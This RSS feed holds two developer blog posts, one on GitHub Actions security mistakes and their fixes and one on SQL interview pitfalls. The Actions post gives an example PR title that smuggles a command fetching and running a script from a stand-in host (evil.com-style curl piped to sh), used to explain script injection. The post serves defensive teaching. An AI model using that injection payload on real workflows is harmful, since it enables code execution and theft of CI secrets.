<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: SQL Interview Patterns</title>
    <description>The latest articles on DEV Community by SQL Interview Patterns (@sqlinterviewpatterns).</description>
    <link>https://dev.to/sqlinterviewpatterns</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4254184%2F4a0eb5ca-fccc-4ac9-80b0-ae273b7d4705.png</url>
      <title>DEV Community: SQL Interview Patterns</title>
      <link>https://dev.to/sqlinterviewpatterns</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sqlinterviewpatterns"/>
    <language>en</language>
    <item>
      <title>4 GitHub Actions mistakes that hand attackers your secrets (and the fixes)</title>
      <dc:creator>SQL Interview Patterns</dc:creator>
      <pubDate>Thu, 19 Nov 2026 17:32:40 +0000</pubDate>
      <link>https://dev.to/sqlinterviewpatterns/4-github-actions-mistakes-that-hand-attackers-your-secrets-and-the-fixes-4ab</link>
      <guid>https://dev.to/sqlinterviewpatterns/4-github-actions-mistakes-that-hand-attackers-your-secrets-and-the-fixes-4ab</guid>
      <description>&lt;p&gt;Most GitHub Actions workflows I read have at least one of these. Each one runs fine, passes review, and quietly hands an attacker your secrets or a write token. Here's what they look like and the fix for each.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Untrusted text inside &lt;code&gt;run:&lt;/code&gt; (script injection)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "PR title: ${{ github.event.pull_request.title }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;${{ }}&lt;/code&gt; is expanded &lt;strong&gt;before&lt;/strong&gt; the shell runs, so the PR title becomes part of your script. A PR titled &lt;code&gt;"; curl https://evil.sh | sh; echo "&lt;/code&gt; executes on your runner. The same goes for issue titles and bodies, comment bodies, commit messages, branch names (&lt;code&gt;github.head_ref&lt;/code&gt;) and &lt;code&gt;workflow_dispatch&lt;/code&gt; inputs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; pass it through an environment variable and quote it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;TITLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "PR title: $TITLE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. &lt;code&gt;pull_request_target&lt;/code&gt; + checking out the PR
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pull_request_target&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.head.sha }}&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci &amp;amp;&amp;amp; npm test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pull_request_target&lt;/code&gt; runs with your secrets and a write token, even for PRs from forks. Checking out the PR's code and running &lt;code&gt;npm ci&lt;/code&gt; means a fork's &lt;code&gt;package.json&lt;/code&gt; scripts run with those secrets. This is the "pwn request" pattern.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; build and test untrusted code on &lt;code&gt;pull_request&lt;/code&gt; (no secrets). If you need privileged follow-up (comments, labels), do it in a separate &lt;code&gt;workflow_run&lt;/code&gt; job that never executes PR code.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Actions pinned to a tag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;some-org/deploy-action@v2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tags are mutable. If that repo is compromised, the tag can be moved to malicious code and your next run executes it with your secrets. That's exactly what happened with &lt;code&gt;tj-actions/changed-files&lt;/code&gt; in 2025.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; pin to the full commit SHA and let Dependabot keep it updated.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11&lt;/span&gt; &lt;span class="c1"&gt;# v4.1.1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. No &lt;code&gt;permissions:&lt;/code&gt; block
&lt;/h2&gt;

&lt;p&gt;Without one, &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; gets your repository's default scopes, which on many repos means read/write on contents, packages, PRs and more. One compromised step can push to &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; least privilege at the top, extra scopes per job.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Bonus: the minutes you're burning
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;concurrency:&lt;/code&gt; with &lt;code&gt;cancel-in-progress: true&lt;/code&gt; stops superseded runs on the same PR.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;timeout-minutes:&lt;/code&gt; on every job. The default is 6 hours.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;cache:&lt;/code&gt; input on &lt;code&gt;actions/setup-node&lt;/code&gt; / &lt;code&gt;setup-python&lt;/code&gt; stops every run re-downloading dependencies.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Want this checked automatically?&lt;/strong&gt; I packaged an audit script for these (plus 8 more rules) as an agent skill. Point Claude Code, Cursor or Codex at your &lt;code&gt;.github/workflows&lt;/code&gt; and it finds the issues and writes the patched files. It's part of a 6-skill DevOps pack (CI triage, Dockerfile, Terraform plan risk, PR review, postmortems): &lt;a href="https://masteryoursyche.gumroad.com/l/ship-safe-devops-skills" rel="noopener noreferrer"&gt;https://masteryoursyche.gumroad.com/l/ship-safe-devops-skills&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclosure: I built the pack. Everything above works without it.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>githubactions</category>
      <category>security</category>
      <category>devops</category>
      <category>cicd</category>
    </item>
    <item>
      <title>5 SQL traps that sink data engineering interviews (with runnable examples)</title>
      <dc:creator>SQL Interview Patterns</dc:creator>
      <pubDate>Thu, 19 Nov 2026 16:20:49 +0000</pubDate>
      <link>https://dev.to/sqlinterviewpatterns/5-sql-traps-that-sink-data-engineering-interviews-with-runnable-examples-1ofb</link>
      <guid>https://dev.to/sqlinterviewpatterns/5-sql-traps-that-sink-data-engineering-interviews-with-runnable-examples-1ofb</guid>
      <description>&lt;p&gt;Most data-engineering SQL rounds aren't hard because of syntax. They're hard because the query &lt;em&gt;runs&lt;/em&gt; and returns a wrong answer that looks right. Here are five traps I see again and again, each with a tiny example you can run in Postgres or DuckDB.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. The join fan-out
&lt;/h2&gt;

&lt;p&gt;You want completed orders and revenue per customer, so you join &lt;code&gt;orders&lt;/code&gt; to &lt;code&gt;order_items&lt;/code&gt; and &lt;code&gt;COUNT(o.order_id)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In my practice dataset, one customer has &lt;strong&gt;6&lt;/strong&gt; completed orders. The naive query says &lt;strong&gt;14&lt;/strong&gt;, because every order is repeated once per line item.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- wrong: counts line items&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;customer_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;order_items&lt;/span&gt; &lt;span class="n"&gt;oi&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;oi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_id&lt;/span&gt;
&lt;span class="k"&gt;GROUP&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;customer_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix: aggregate the child table to the grain you need first (one row per order), then join. &lt;code&gt;COUNT(DISTINCT ...)&lt;/code&gt; fixes the count but &lt;strong&gt;not&lt;/strong&gt; the sums.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. &lt;code&gt;NOT IN&lt;/code&gt; and a single NULL
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;-- returns 0 rows&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;x NOT IN (..., NULL)&lt;/code&gt; is never true. If the subquery behind your anti-join ever returns a NULL, you silently get an empty result. Use &lt;code&gt;NOT EXISTS&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. "Latest record" ordered by the wrong timestamp
&lt;/h2&gt;

&lt;p&gt;CDC feeds deliver changes late. A customer moves to Hyderabad in April. A February change (to Chennai) arrives in June.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="nb"&gt;ROW_NUMBER&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;OVER&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;PARTITION&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;customer_id&lt;/span&gt;
                   &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;updated_at&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;-- event time first&lt;/span&gt;
                            &lt;span class="n"&gt;ingested_at&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;-- arrival time only breaks ties&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Order by arrival time and you'll confidently report Chennai. The query runs, the answer is wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. A "7-day" rolling average that covers 3 weeks
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="nb"&gt;AVG&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;revenue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;OVER&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="k"&gt;ROWS&lt;/span&gt; &lt;span class="k"&gt;BETWEEN&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="k"&gt;PRECEDING&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;CURRENT&lt;/span&gt; &lt;span class="k"&gt;ROW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the last 7 &lt;em&gt;rows&lt;/em&gt;. If days with no sales have no row, the window stretches. Build a date spine first (recursive CTE, &lt;code&gt;generate_series&lt;/code&gt;, or a &lt;code&gt;dim_date&lt;/code&gt; table), fill the gaps with 0, and then the window covers exactly 7 days. Start the spine 6 days before your reporting window so the first day has a full lookback.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. An upsert that fails on its own batch
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="no"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="k"&gt;CONFLICT&lt;/span&gt; &lt;span class="k"&gt;DO&lt;/span&gt; &lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="n"&gt;affect&lt;/span&gt; &lt;span class="k"&gt;row&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt; &lt;span class="kt"&gt;time&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's what Postgres says when your incoming batch contains the same key twice. MERGE in other engines fails in a similar way. Dedup the batch first (latest version per key), and only update when the incoming row is newer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="k"&gt;CONFLICT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DO&lt;/span&gt; &lt;span class="k"&gt;UPDATE&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;EXCLUDED&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;updated_at&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;EXCLUDED&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;updated_at&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="no"&gt;EXCLUDED&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;updated_at&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;updated_at&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now running the same batch twice changes nothing. That's idempotency, and interviewers love it when you say the word.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Want to practise these on real data?&lt;/strong&gt; I put together 8 problems like these (gaps &amp;amp; islands, sessionization, SCD2, upserts…) with a practice database and real outputs. It's free: &lt;a href="https://masteryoursyche.gumroad.com/l/free-sql-interview-sample" rel="noopener noreferrer"&gt;https://masteryoursyche.gumroad.com/l/free-sql-interview-sample&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclosure: I wrote it. There's also a paid full version (48 problems in 16 patterns) linked inside the sample, but the free one stands on its own.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>sql</category>
      <category>dataengineering</category>
      <category>interview</category>
      <category>postgres</category>
    </item>
  </channel>
</rss>
